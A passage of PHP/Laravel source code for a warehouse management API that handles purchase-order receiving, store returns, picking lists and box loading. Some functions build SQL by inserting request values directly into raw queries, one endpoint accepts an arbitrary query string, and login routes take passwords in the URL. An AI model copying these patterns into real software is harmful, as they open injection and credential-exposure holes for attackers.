PurchaseOrderDetail::updateSKUs($row, $receiver_no); //update po_detail table for the received qty
}
self::validatePassedPODetails($receiver_no, $po_order_no);
}
//update po status
PurchaseOrder::updatePO($po_order_no, $po_status, $date_done, $slot_code); //update po_list status to done
//add audit trail
self::savedReceivedPOAuditTrail($po_order_no, $user_id);
//add transaction for jda syncing
JdaTransaction::insert(array(
'module' => Config::get('transactions.module_purchase_order'),
'jda_action' => Config::get('transactions.jda_action_po_receiving'),
'reference' => $po_order_no
));
DB::commit();
return CommonHelper::return_success();
}catch(Exception $e) {
DB::rollback();
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Add audit trail for saving received PO
*
* @param receiver_no integer Receiver number
* @param user_id integer stock piler assigned to the PO
* @return true
*/
private static function savedReceivedPOAuditTrail($receiver_no, $user_id)
{
$data_after = 'Receiver #' . $receiver_no . ' was received by Stock Piler #' . $user_id . '.';
$arrParams = array(
'module' => Config::get("audit_trail_modules.purchaseorder"),
'action' => Config::get("audit_trail.save_po"),
'reference' => 'Receiver #' . $receiver_no,
'data_before' => '',
'data_after' => $data_after,
'user_id' => Authorizer::getResourceOwnerId(),// ResourceServer::getOwnerId(),
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
private static function validatePassedPODetails($poId, $poNumber)
{
$poInfo = PurchaseOrder::getPOInfo($poId);
if(empty($poInfo)) throw new Exception("Purchase order does not exist");
if((int)$poInfo->purchase_order_no !== (int)$poNumber) throw new Exception("Passed purchase order number does not match purchase order id.");
}
public function UpdateRPoListDetailUpdate($receiver_no,$division_id,$upc,$rqty)
{
try {
$poList = PurchaseOrder::UpdateRPoListDetailUpdate($receiver_no,$division_id,$upc,$rqty);
PurchaseOrder::UpdateApiRpoList($receiver_no,$division_id);
return Response::json(array('result' => $poList),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public static function UpdateApiRpoList($receiver_no,$division) {
$query = DB::select(DB::raw("select * from wms_purchase_order_details WHERE receiver_no=$receiver_no and po_status<>4"));
if(count($query)==0)
{
$query = DB::select(DB::raw("update wms_purchase_order_lists set po_status= '4' where receiver_no=$receiver_no"));
}
}
/*********************Unused functions remove******************************/
//TODO::Why 5? Is this function used? Ask Mobile
/**
* Assign Purchase order to admin
*
* @example www.example.com/api/{version}/purchase_order/assign_to_stockpiler/{id}/{clerk_id}/{piler_id}
*
* @param id int Purchase order id
* @param clerk_id int Document Clerk Id
* @param piler_id int Stock Piler Id
* @return Status if fail or successfull
*/
/*public function assignToPiler($id, $clerk_id, $piler_id) {
try {
if(! CommonHelper::hasValue($id) ) throw new Exception( 'Missing id parameter.');
if(! CommonHelper::hasValue($clerk_id) ) throw new Exception( 'Missing clerk_id parameter.');
if(! CommonHelper::hasValue($piler_id) ) throw new Exception( 'Missing stockpiler_id parameter.');
DB::beginTransaction();
$params = array(
"assigned_by" => $clerk_id,
"assigned_to_user_id" => $piler_id,
"updated_at" => date('Y-m-d H:i:s'),
"po_status" => 5
);
$po = PurchaseOrder::find($id);
PurchaseOrder::assignToStockPiler($po->purchase_order_no, $params);
DB::commit();
DebugHelper::log(__METHOD__, $po->toArray());
return Response::json(array(
'error' => false,
'message' => 'Successfully assigned to piler '. $piler_id),
200
);
}catch(Exception $e) {
DB::rollback();
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
return Response::json(array(
"error" => true,
"message" => $e->getMessage()),
400
);
}
}
*/
//TODO::Ask mobile if this is used
/**
* Change purchase order status
*
* @example www.example.com/api/{version}/purchase_order/update_status/{po_order_no}
*
* @param po_order_no int Purchase order number
* @param po_status int Purchase order status
* @return Status
*/
public function updateStatus($po_order_no) {
try {
if(! CommonHelper::hasValue($po_order_no) ) throw new Exception( 'Missing purchase order number parameter.');
if(! CommonHelper::hasValue(Request::get('po_status')) ) throw new Exception( 'Missing status parameter.');
$status_value = Request::get('po_status');
$status_options = Dataset::where("data_code", "=", "PO_STATUS_TYPE")->get()->lists("id", "data_value");
if(! CommonHelper::arrayHasValue($status_options[$status_value]) ) throw new Exception( 'Invalid status value.');
$loggedInUserId = Authorizer::getResourceOwnerId();
$validateUser = PurchaseOrder::where('purchase_order_no', '=', $po_order_no)
// ->where('assigned_to_user_id', '=', $loggedInUserId)->first();
->whereRaw('find_in_set('. $loggedInUserId . ',assigned_to_user_id) > 0')->first();
if ( empty($validateUser) ) throw new Exception( 'User does not have the rights to access this po.');
$po = PurchaseOrder::where('purchase_order_no', '=', $po_order_no)
->where('assigned_to_user_id', '=', $loggedInUserId)
->update(array(
"po_status" => $status_options[$status_value],
"updated_at" => date('Y-m-d H:i:s')
));
//Audit trail
$user_id = $loggedInUserId;
$date_before = 'PO No #' . $po_order_no . ' status was Assigned.';
$data_after = 'PO No #' . $po_order_no . ' status is now ' .$status_options[$status_value]. ' and was changed by Stock Piler #' . $user_id . '.';
$arrParams = array(
'module' => Config::get("audit_trail_modules.purchaseorder"),
'action' => Config::get("audit_trail.modify_po_status"),
'reference' => 'Purchase Order #' . $po_order_no,
'data_before' => $date_before,
'data_after' => $data_after,
'user_id' => Authorizer::getResourceOwnerId(),// ResourceServer::getOwnerId(),
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
DebugHelper::log(__METHOD__, $po);
return Response::json(array(
'error' => false,
'message' => 'Successfully changed status to '.$status_value,
'result' => $po),
200
);
}catch(Exception $e) {
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
return Response::json(array(
"error" => true,
"result" => $e->getMessage()),
400
);
}
}
/**
* Items in master file but not in PO will be inserted to PO
* @param int $po_order_no Purchase order no
* @return boolean
*/
public function notInPo($po_order_no) {
try {
DB::beginTransaction();
CommonHelper::setRequiredFields(array('data'));
if(! CommonHelper::hasValue($po_order_no) ) throw new Exception( 'Missing purchase order number parameter.');
$data = json_decode(Request::get('data'), true);
foreach ($data as $value) {
$po = PurchaseOrderDetail::firstOrNew(array('sku'=>$value['upc'], 'receiver_no'=>$value['receiver_no']));
$po->sku = $value['upc'];
$po->receiver_no = $value['receiver_no'];
$po->quantity_delivered = $value['quantity_delivered']; //($po->exists) ? ($po->quantity_delivered) :
$po->expiry_date = $value['expiry_date'];
$po->save();
}
DebugHelper::log(__METHOD__, $po);
//Audit trail
$user_id = Authorizer::getResourceOwnerId();
$arr = array_map(function($el){ return $el['upc']; }, $data);
$comma_separated_skus = implode(',', $arr);
$data_after = 'PO No #' . $po_order_no . ' skus ' .$comma_separated_skus. ' with quantity 1 has been added by Stock Piler #' . $user_id . '.';
$arrParams = array(
'module' => Config::get("audit_trail_modules.purchaseorder"),
'action' => Config::get("audit_trail.save_not_in_po"),
'reference' => 'Purchase Order #' . $po_order_no,
'data_before' => '',
'data_after' => $data_after,
'user_id' => $user_id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
DB::commit();
return CommonHelper::return_success();
}catch(Exception $e) {
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
DB::rollback();
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Items not in master file and not in PO will be consider as unlisted
* @param int $po_order_no Purchase order no
* @return boolean
*/
public function unlisted($po_order_no) {
try {
DB::beginTransaction();
CommonHelper::setRequiredFields(array('data'));
if(! CommonHelper::hasValue($po_order_no) ) throw new Exception( 'Missing purchase order number parameter.');
$data = json_decode(Request::get('data'), true);
foreach ($data as $value)
{
$unlisted = Unlisted::firstOrNew(array('sku'=>$value['upc'], 'reference_no'=>$po_order_no));
if (array_key_exists('brand', $value)) $unlisted->brand = $value['brand'];
if (array_key_exists('division', $value)) $unlisted->division = $value['division'];
if (array_key_exists('description', $value)) $unlisted->description = $value['description'];
if (array_key_exists('style_no', $value)) $unlisted->style_no = $value['style_no'];
$unlisted->sku = $value['upc'];
$unlisted->reference_no = $po_order_no;
$unlisted->quantity_received = $value['quantity_received']; //($unlisted->exists) ? ($unlisted->quantity_received + 1) : $value['quantity_received'];
$unlisted->updated_at = date('Y-m-d H:i:s');
$unlisted->scanned_by = Authorizer::getResourceOwnerId();
$unlisted->save();
}
DebugHelper::log(__METHOD__, $unlisted);
//Audit trail
$user_id = Authorizer::getResourceOwnerId();
$arr = array_map(function($el){ return $el['upc']; }, $data);
$comma_separated_skus = implode(',', $arr);
$data_after = 'PO No #' . $po_order_no . ' skus ' .$comma_separated_skus. ' with quantity 1 has been added by Stock Piler #' . $user_id . '.';
$arrParams = array(
'module' => Config::get("audit_trail_modules.purchaseorder"),
'action' => Config::get("audit_trail.unlisted"),
'reference' => 'Purchase Order #' . $po_order_no,
'data_before' => '',
'data_after' => $data_after,
'user_id' => $user_id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
DB::commit();
return CommonHelper::return_success();
}catch(Exception $e) {
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
DB::rollback();
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Update a particular PO Detail
*
* @example www.example.com/sample url
*
* @param po_id int Purchase order id
* @param sku string SKU/UPC of product
* @return
*/
/*public function updateDetail($po_id, $sku) {
try {
if(! CommonHelper::hasValue($po_id) ) throw new Exception( 'Missing id parameter.');
if(! CommonHelper::hasValue($sku) ) throw new Exception( 'Missing sku/upc parameter.');
if(! CommonHelper::numericHasValue(Request::get("quantity_delivered")) ) throw new Exception( 'Missing quantity.');
$quantity_delivered = Request::get("quantity_delivered");
DB::beginTransaction();
$po_detail = DB::table('purchase_order_details')
->where('po_id', '=', $po_id)
->where('sku', '=', $sku)
->update(array(
"quantity_delivered"=>$quantity_delivered,
"updated_at" => date('Y-m-d H:i:s')
));
DebugHelper::log(__METHOD__, $po_detail->toArray());
DB::commit();
return Response::json(array(
'error' => false,
'message' => 'Successfull updated sku #'.$sku,
'result' => $po_detail),
200
);
}catch(Exception $e) {
DB::rollback();
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
return Response::json(array(
"error" => true,
"result" => $e->getMessage()),
400
);
}
}*/
}<file_sep><?php
class ApiStoreReturn extends BaseController {
// private static $types = array('sku', 'store');
public function __construct() {
date_default_timezone_set('Asia/Manila');
}
/**
* Version 1
* Get store return lists grouped according to needed format
*
* @example www.example.com/api/{version}/store_return/list GET
*
* @throws Exception error
* @return json encoded array of store return lists
*/
public static function getStoreReturnList()
{
try {
$bench = new BenchmarkHelper();
$bench->start(__METHOD__);
$pilerId = Authorizer::getResourceOwnerId();
$pickingLists = StoreReturn::getListByPiler($pilerId);
DebugHelper::log(__METHOD__, $pickingLists);
$bench->end();
return CommonHelper::return_success_message($pickingLists);
} catch (Exception $e) {
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Gets details of the selected store order number
*
* @example www.example.com/api/{version}/store_return/detail/{soNo} GET
*
* @param sku move document number
* @return json encoded array of of store return detail
*/
public static function getStoreReturnDetail($soNo)
{
try {
if(! CommonHelper::hasValue($soNo) ) throw new Exception( 'Missing parameter store order numbere.');
$bench = new BenchmarkHelper();
$bench->start(__METHOD__);
DB::beginTransaction();
$storeOrderDetail = StoreReturnDetail::getDetailBySoNo($soNo);
$bench->end();
DB::commit();
return CommonHelper::return_success_message($storeOrderDetail->toArray());
} catch (Exception $e) {
DB::rollback();
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Change letdown quantity, moves a certain product from reserve zone to picking zone
*
* @example www.example.com/api/{version}/letdown/detail POST
* @param doc_no document number
* @param data e.g format: {"CRAC":[{"moved_qty":500,"sku":2800090900154,"from_slot_code":"CRAC"},{"moved_qty":500,"sku":2800091900153,"from_slot_code":"CRAC"}]}
* @return status ok if moved
*/
public static function postSaveDetail()
{
try{
CommonHelper::setRequiredFields(array('so_no', 'data', 'slot_code'));
//parameters
$soNo = Request::get('so_no');
$data = json_decode(Request::get('data'), true);
$user_id = Authorizer::getResourceOwnerId();
$slot_code = Request::get('slot_code');
DebugHelper::logVar(__METHOD__, print_r($data, true));
if(empty($data)) throw new Exception("Parameter data does not have a valid format");
DB::beginTransaction();
// update picklist, picklist detail, box_detail and audit trail
$result = StoreReturnDetail::saveDetail($soNo, $data, $user_id);
// update status of picklist
$status_options = Dataset::where("data_code", "=", "SR_STATUS_TYPE")->get()->lists("id", "data_value");
StoreReturn::updateStatus($soNo, $status_options['done'], $slot_code);
DB::commit();
return Response::json(array(
'error' => false,
'message' => 'Success'),
200
);
} catch (Exception $e) {
DB::rollback();
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Change purchase order status
*
* @example www.example.com/api/{version}/purchase_order/update_status/{po_order_no}
*
* @param po_order_no int Purchase order number
* @param po_status int Purchase order status
* @return Status
*/
public function updateStatus($soNo) {
try {
if(! CommonHelper::hasValue($soNo) ) throw new Exception( 'Missing store order number parameter.');
if(! CommonHelper::hasValue(Request::get('so_status')) ) throw new Exception( 'Missing status parameter.');
$status_value = Request::get('so_status');
$status_options = Dataset::where("data_code", "=", "SR_STATUS_TYPE")->get()->lists("id", "data_value");
if(! CommonHelper::arrayHasValue($status_options[$status_value]) ) throw new Exception( 'Invalid status value.');
$loggedInUserId = Authorizer::getResourceOwnerId();
$validateUser = StoreReturn::where('so_no', '=', $soNo)
->where('assigned_to_user_id', '=', $loggedInUserId)->first();
if ( empty($validateUser) ) throw new Exception( 'User does not have the rights to access this record.');
$save = StoreReturn::updateStatus($soNo, $status_options[$status_value]);
//Audit trail
$user_id = Authorizer::getResourceOwnerId();
$date_before = 'Store return no #' . $soNo . ' status was Assigned.';
$data_after = 'Store return no #' . $soNo . ' status is now ' .$status_options[$status_value]. ' and was changed by Stock Piler #' . $user_id . '.';
$arrParams = array(
'module' => Config::get("audit_trail_modules.store_return"),
'action' => Config::get("audit_trail.modify_store_return_status"),
'reference' => 'Store return #' . $soNo,
'data_before' => $date_before,
'data_after' => $data_after,
'user_id' => Authorizer::getResourceOwnerId(),// ResourceServer::getOwnerId(),
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
if ($save) {
AuditTrail::addAuditTrail($arrParams);
}
DebugHelper::log(__METHOD__, $save);
return Response::json(array(
'error' => false,
'message' => 'Successfully changed status to '.$status_value,
'result' => $save),
200
);
}catch(Exception $e) {
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Items in master file but not in transfer will be inserted to store return
* @param int $soNo store order number
* @return boolean
*/
public function notInTransfer($soNo) {
try {
DB::beginTransaction();
CommonHelper::setRequiredFields(array('data'));
if(! CommonHelper::hasValue($soNo) ) throw new Exception( 'Missing store order number parameter.');
$data = json_decode(Request::get('data'), true);
foreach ($data as $value) {
$detail = StoreReturnDetail::firstOrNew(array('sku'=>$value['upc'], 'so_no'=>$soNo));
$detail->sku = $value['upc'];
$detail->so_no = $soNo;
$detail->received_qty = $value['received_qty']; //($detail->exists) ? ($detail->quantity_delivered) :
$detail->updated_at = date('Y-m-d H:i:s');
$detail->save();
}
DebugHelper::log(__METHOD__, $detail);
//Audit trail
$user_id = Authorizer::getResourceOwnerId();
$arr = array_map(function($el){ return $el['upc']; }, $data);
$comma_separated_skus = implode(',', $arr);
$data_after = 'Store Return No #' . $soNo . ' skus ' .$comma_separated_skus. ' with quantity 1 has been added by Stock Piler #' . $user_id . '.';
$arrParams = array(
'module' => Config::get("audit_trail_modules.store_return"),
'action' => Config::get("audit_trail.save_not_in_transfer"),
'reference' => 'Store Return Order #' . $soNo,
'data_before' => '',
'data_after' => $data_after,
'user_id' => $user_id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
DB::commit();
return CommonHelper::return_success();
}catch(Exception $e) {
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
DB::rollback();
return CommonHelper::return_fail($e->getMessage());
}
}
}
<file_sep><?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Response;
use App\Http\Requests;
use App\ModelApiName;
class ControllerApiName extends Controller
{
protected static $allowed_roles = array(3,4);
//////////////////////////////////////////////////////////////////////
/* function __construct() {
$this->middleware('oauth', ['except' =>['validateUser']]);
}*/
public function postLogin() {
try {
$credential = array();
$credential['username'] = Request::get('username');
$credential['password'] = Request::get('password');
if(! CommonHelper::hasValue($credential['username']) ) throw new Exception( 'Username cannot be null!');
if(! CommonHelper::hasValue($credential['password']) ) throw new Exception( 'Password cannot be null!');
if(Auth::attempt($credential))
{
$deleted_at = Auth::user()->deleted_at;
if(!in_array(Auth::user()->role_id, self::$allowed_roles)) {
throw new Exception( 'Account not allowed.');
}
//validate if user account has been deleted
if( $deleted_at > '0000-00-00 00:00:00' ) throw new Exception( 'Invalid username or password!');
$brandName = Brands::getBrandNameById(Auth::user()->brand_id);
$user_detail = array(
'user_id' => Auth::user()->id,
'username' => Auth::user()->username,
'firstname' =>Auth::user()->firstname,
'lastname' => Auth::user()->lastname,
'role_id' => Auth::user()->role_id,
'brand' => $brandName[Auth::user()->brand_id]
);
if(Auth::user()->role_id == 4) $user_detail['store_code'] = Auth::user()->store_code;
DebugHelper::log(__METHOD__ .' User detail ',$user_detail);
return Response::json(array(
"error" => false,
"result" => array("user" => $user_detail),
"message" => 'Successfully logged in!'),
200
);
}
else
{
throw new Exception( 'Invalid username or password!');
}
}catch(Exception $e) {
Log::error(__METHOD__ .$e->getMessage());
return Response::json(array(
"error" => true,
"message" => $e->getMessage()),
400
);
}
}
public function RPolist($piler_id)
{
try {
$polist = ModelApiName::GetApiRPoList($piler_id);
return Response::json(array('result' => $polist),200);
//return $polist;
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function getSlotCodeList()
{
try {
$polist = ModelApiName::GetApiSlotCodes();
return Response::json(array('result' => $polist),200);
//return $polist;
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function getquery($query)
{
try {
$polistdetail = ModelApiName::getAPIquery($query);
return Response::json(array('result' => $polistdetail),200);
//return $polist;
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function RPolistDetail($receiver_no,$division_id)
{
try {
$polistdetail = ModelApiName::GetApiRPoListDetail($receiver_no,$division_id);
return Response::json(array('result' => $polistdetail),200);
//return $polist;
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function UpdateApiRPoSlot($receiver_no,$division_id)
{
try {
$poupdatastatus = ModelApiName::UpdateApiRPoSlot($receiver_no,$division_id);
return Response::json(array('result'),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function UserLogin($username,$password)
{
try {
$user = ModelApiName::UserLogin($username,$password);
return Response::json(array('result' => $user),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function UserLoginVerify($username,$password)
{
try {
$user = ModelApiName::getAPIUserLoginVerify($username,$password);
return Response::json(array('result' => $user),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function UpdateRPoListDetail($receiver_no,$division_id,$upc,$rqty, $slot)
{
try {
$poList = ModelApiName::UpdateRPoListDetail($receiver_no,$division_id,$upc,$rqty, $slot);
ModelApiName::UpdateApiRpoList($receiver_no,$division_id);
return Response::json(array('result' => $poList),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function RPoListDetailAdd($receiver_no,$division_id,$sku,$upc,$rqty,$userid,$slot,$division_name)
{
try {
$poList = ModelApiName::RPoListDetailAdd($receiver_no,$division_id,$sku,$upc,$rqty,$userid, $slot,$division_name);
return Response::json(array('result' => $poList),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PTLList($piler_id)
{
try {
$pickinglist = ModelApiName::GetApiPTLList($piler_id);
//ModelApiName::UpdateTLStatus($pickinglist);
return Response::json(array('result' => $pickinglist),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
//////////////////////////////////////////////////////////////////////
public function PTLListDetail($moved_doc)
{
try {
$pickinglistdetails = ModelApiName::GetApiPTLListDetail($moved_doc);
return Response::json(array('result' => $pickinglistdetails),200);
//return $polist;
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PTLGetBoxCode($store_id)
{
try {
$getboxcode = ModelApiName::GetApiPTLGetBoxCode($store_id);
return Response::json(array('result' => $getboxcode),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PSTTLGetBoxCode($store_id)
{
try {
$getboxcode = ModelApiName::GetApiPSTTLGetBoxCode($store_id);
return Response::json(array('result' => $getboxcode),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PTLGetLastBoxCode($store_id,$move_doc)
{
try {
$getboxcode = ModelApiName::GetApiPTLGetLastBoxCode($store_id, $move_doc);
return Response::json(array('result' => $getboxcode),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PSTTLGetLastBoxCode($store_id,$move_doc)
{
try {
$getboxcode = ModelApiName::GetApiPSTTLGetLastBoxCode($store_id, $move_doc);
return Response::json(array('result' => $getboxcode),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PTLGetLastBoxCode1($store_id)
{
try {
$getboxcode = ModelApiName::GetApiPTLGetLastBoxCode1($store_id);
return Response::json(array('result' => $getboxcode),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function AddBoxDetail($picklist_id,$box_code,$moved_qty)
{
try
{
$BoxDetailInsert = ModelApiName::ApiPTLBoxDetailInsert($picklist_id, $box_code, $moved_qty);
return Response::json(array('result' => $BoxDetailInsert),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function AddSTBoxDetail($picklist_id,$box_code,$moved_qty)
{
try
{
$BoxDetailInsert = ModelApiName::ApiSSTPTLBoxDetailInsert($picklist_id, $box_code, $moved_qty);
return Response::json(array('result' => $BoxDetailInsert),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PTLNewBoxCode($box_code,$store_id,$move_doc,$number,$total)
{
try
{
$Newboxcode = ModelApiName::ApiPTLNewBoxCode($box_code,$store_id,$move_doc,$number,$total);
return Response::json(array('result' => $Newboxcode),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PSTTLNewBoxCode($box_code,$store_id,$move_doc,$number,$total)
{
try
{
$Newboxcode = ModelApiName::ApiPSTTLNewBoxCode($box_code,$store_id,$move_doc,$number,$total);
return Response::json(array('result' => $Newboxcode),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PTLListDetailUpdate($picking_id,$upc,$rcv_qty)
{
try
{
$ListDetailUpdate = ModelApiName::ApiPTLListDetailUpdate($picking_id,$upc,$rcv_qty);
return Response::json(array('result' => $ListDetailUpdate),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PSTTLListDetailUpdate($picking_id,$upc,$rcv_qty)
{
try
{
$ListDetailUpdate = ModelApiName::ApiPSTTLListDetailUpdate($picking_id,$upc,$rcv_qty);
return Response::json(array('result' => $ListDetailUpdate),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PTLListUpdate($moved_doc)
{
try
{
$ListUpdate = ModelApiName::ApiPTLListUpdate($moved_doc);
return Response::json(array('result' => $ListUpdate),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PSTTLListUpdate($moved_doc)
{
try
{
$ListUpdate = ModelApiName::ApiPSTTLListUpdate($moved_doc);
return Response::json(array('result' => $ListUpdate),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PTLBoxUpdate($box_code,$store_id,$move_doc,$number,$total)
{
try
{
$BoxUpdate = ModelApiName::ApiPTLBoxUpdate($move_doc, $box_code);
if(count($BoxUpdate)== 0 )
{
ModelApiName::ApiPTLNewBoxCode($box_code,$store_id,$move_doc,$number,$total);
}
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PSTTLBoxUpdate($box_code,$store_id,$move_doc,$number,$total)
{
try
{
$BoxUpdate = ModelApiName::ApiPSTTLBoxUpdate($move_doc, $box_code);
if(count($BoxUpdate)== 0 )
{
ModelApiName::ApiPTLNewBoxCode($box_code,$store_id,$move_doc,$number,$total);
}
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PTLBoxValidate($box_code)
{
try
{
$BoxValidate = ModelApiName::ApiPTLBoxValidate($box_code);
return Response::json(array('result' => $BoxValidate),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function LBlist($piler_id)
{
try
{
$LBlist = ModelApiName::ApiLBlist($piler_id);
return Response::json(array('result' => $LBlist),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function STLBlist($piler_id)
{
try
{
$LBlist = ModelApiName::ApiSTLBlist($piler_id);
return Response::json(array('result' => $LBlist),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function NewLoadingList($piler_id)
{
try
{
$LBlist = ModelApiName::ApigetLoadinglist($piler_id);
return Response::json(array('result' => $LBlist),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function NewLoadingSTList($piler_id)
{
try
{
$LBlist = ModelApiName::ApigetLoadingSTlist($piler_id);
return Response::json(array('result' => $LBlist),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function NewLoadingListDetails($load_code)
{
try
{
$LBlist = ModelApiName::ApigetLoadinglistDetails($load_code);
return Response::json(array('result' => $LBlist),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function NewLoadingSTListDetails($load_code)
{
try
{
$LBlist = ModelApiName::ApigetLoadingSTlistDetails($load_code);
return Response::json(array('result' => $LBlist),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function UpdateNewLoadingBoxStatus($load_code, $box_code, $status)
{
try
{
$LBlist = ModelApiName::ApigetUpdateNewLoadingBoxStatus($load_code, $box_code, $status);
return Response::json(array('result' => $LBlist),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function UpdateNewLoadingSTBoxStatus($load_code, $box_code, $status)
{
try
{
$LBlist = ModelApiName::ApigetUpdateNewLoadingSTBoxStatus($load_code, $box_code, $status);
return Response::json(array('result' => $LBlist),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function LBListdetails($load_code)
{
try
{
$asdf2d = ModelApiName::ApiLBlistdetails($load_code);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function STLBListdetails($load_code)
{
try
{
$asdf2d = ModelApiName::ApiSTLBlistdetails($load_code);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function STLBListdetailsBox($move_doc)
{
try
{
$asdf2d = ModelApiName::ApiSTLBlistdetailsBox($move_doc);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function LBListDetailbox($move_doc)
{
try
{
$asdf2d = ModelApiName::ApiLBListDetailbox($move_doc);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function UpdateLoadingStatus($load_code,$date)
{
try
{
$asdf2d = ModelApiName::ApiUpdateLoadingStatus($load_code,$date);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function UpdateLoadingSTStatus($load_code,$date)
{
try
{
$asdf2d = ModelApiName::ApiUpdateLoadingSTStatus($load_code,$date);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
"error" => true,
"result" => $e->getMessage()
),400
);
}
}
public function PStoreList($piler_id)
{
try
{
$asdf2d = ModelApiName::getApiSOPiler($piler_id);
return Response::json(array('result' => $asdf2d),200);
}
catch(Exception $e)
{
return Response::json(array(
